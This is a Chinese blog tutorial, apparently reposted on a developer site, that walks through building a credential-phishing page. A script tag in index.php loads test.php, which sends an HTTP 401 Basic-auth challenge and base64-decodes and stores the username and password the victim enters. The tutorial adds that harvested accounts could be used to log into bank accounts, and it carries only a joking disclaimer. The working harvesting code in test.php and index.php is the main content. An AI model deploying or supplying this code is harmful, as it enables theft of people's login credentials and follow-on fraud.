一起来写个钓鱼

栏目: 服务器 · Apache · 发布时间: 6年前

内容简介:虽然这篇文章的标题是一起来写个钓鱼的站点,但是希望仅仅把它当作饭后的谈资就好,切不可在实际生活中真正的使用。不然,网络警察到你家查你水表的时候,我可不负责任啊。而实际上要真心做到对应的效果很难,只是作为安全知识的入门学习。闲话少说,还是直接进入主题吧。这里是需要实现的一些工具的清单:工具都准备妥当了,那么就直奔主题了哦。老司机要开车了,要坐好扶稳了。

虽然这篇文章的标题是一起来写个钓鱼的站点,但是希望仅仅把它当作饭后的谈资就好,切不可在实际生活中真正的使用。不然,网络警察到你家查你水表的时候,我可不负责任啊。而实际上要真心做到对应的效果很难,只是作为安全知识的入门学习。

闲话少说,还是直接进入主题吧。这里是需要实现的一些 工具 的清单:

  • PHP 5.x及以上版本
  • 1个现代的浏览器,不要拿IE6这样老古董的浏览器出来,会死人的
  • Apache还是Nginx随意,能用就好
  • 一款文本编辑器,比如记事本

工具都准备妥当了,那么就直奔主题了哦。老司机要开车了,要坐好扶稳了。

在Web中钓鱼的方式有很多方式,不过这个名字还是源自生活,此时联想到在长江边垂钓的场景,滚滚长江东逝水...。

万事俱备只欠东风,工具都准备好了,现在还缺的就是鱼了。鱼从哪里来,自然就是从受害者身上谋取啦。而这里我们利用1种401认证的方式来钓鱼。

实现过程

首先,我们新建1个 index.php 的脚本,其内容类似如下:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>首页</title>
</head>
<body>
    <h1>首页</h1>
    <script type="text/javascript" src="test.php"></script>
</body>
</html>

内容简单的很,实际上真正有用的就是这么一行:

<script type="text/javascript" src="test.php"></script>

我们使用脚本的方式异步请求 php 的1个脚本。搞技术的要求能举一反三,我见过一些信息安全人员,除了会写POC外和使用一些工具外,对应的原理是一窍不懂的。甚至为什么可以这样做是一问三不知的。

很多人以为黑客是群很聪明的人,实际不然,不排除这里面有一些所谓的脚本小子,整天复制搞破坏的。

闲外话还是少说,如果你觉得上面的script标签有点碍眼,你完全可以换,比如换成link、img等标签完全都是可以的。这就是举一反三的能力吧,毕竟真实场景中很少有刚好就那么巧可以被利用的。

test.php 中的内容类似如下:

<?php
if(array_key_exists('HTTP_AUTHORIZATION', $_SERVER)){
    session_start();
    $value = $_SERVER['HTTP_AUTHORIZATION'];
    $admin = base64_decode(substr($value, 6));
    $_SESSION['info'] = $admin;
}else{
    header("Content-type: text/html; charset=utf-8");
    header('WWW-Authenticate: Basic realm="Please enter your username and password!"');
}

我们判断当前服务器中是否存在键名 HTTP_AUTHORIZATION ,如果不存在则直接抛出1个401的认证请求头。而浏览器获取到该401状态后,会自动弹出1个对话框要求使用者输入用户名和密码。

如果使用者按照我们剧情的安排输入了用户名和密码,那么我们就成功钓到了1条(人)鱼。

需要注意的是,这里我们使用的是Basci认证,而不是HTTP中另1个Digest的认证。不然到时传递过来的是MD5的结果,还需要花费时间解密,得不偿失。

眼尖的你可能发现,我们使用的是Base64解码函数 base64_decode 。没错,Basic认证的用户名和密码会使用Base64进行编码,直接获取到其内容进行解码即可,是不是很简单。

在这里,我们将其存入到session中,以便可以在前端显示,这样就可以看到效果了。而更多情况下,是直接存储到文件或数据库中,接着搞不好就拿着这些账号去登录你的银行卡。

为了看出效果,我们在 index.php 中添加如下几行代码:

<?php
session_start();
if(array_key_exists("info",$_SESSION)){
    $value = $_SESSION['info'];
    var_dump($value);
}
?>

演示过程

下面是演示的效果过程,首先是访问首页:

一起来写个钓鱼

然后入套,输入自己的用户名和密码:

一起来写个钓鱼

鱼上钩了,被钓了起来:

一起来写个钓鱼

结语

看到,你可能会骂娘了。这么简单的东西,搞得这么神秘兮兮。

实际上,原理的东西总是很简单的,重要是组合利用。如果让自己隐匿的更深一些,还有更具诱惑性才能让猎物上钩。而钓鱼的过程不就是利用如下几个切入点:

  • 诱饵味道做的很不错
  • 鱼钩藏匿在诱饵里面
  • 鱼肚子饿了
  • 鱼发现诱饵味道很不错,就咬了一口

结果鱼就上钩了。而人之所以会被钓的过程主要还是如下几个情况:

  • 用户安全意识薄弱,过于盲目相信浏览器
  • 浏览器厂商相关安全没有做好,致使用户受害
  • 脚本小子页面做的很不错,真假难辨

当然不排除还有其他一些情况,实在想不出来了,脑洞太小。

当然上面这么丑陋的网站,百分百是钓不到鱼的。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

HTTP Essentials

HTTP Essentials

Stephen A. Thomas、Stephen Thomas / Wiley / 2001-03-08 / USD 34.99

The first complete reference guide to the essential Web protocol As applications and services converge and Web technologies not only assume HTTP but require developers to manipulate it, it is be......一起来看看 《HTTP Essentials》 这本书的介绍吧!

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

URL 编码/解码
URL 编码/解码

URL 编码/解码

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具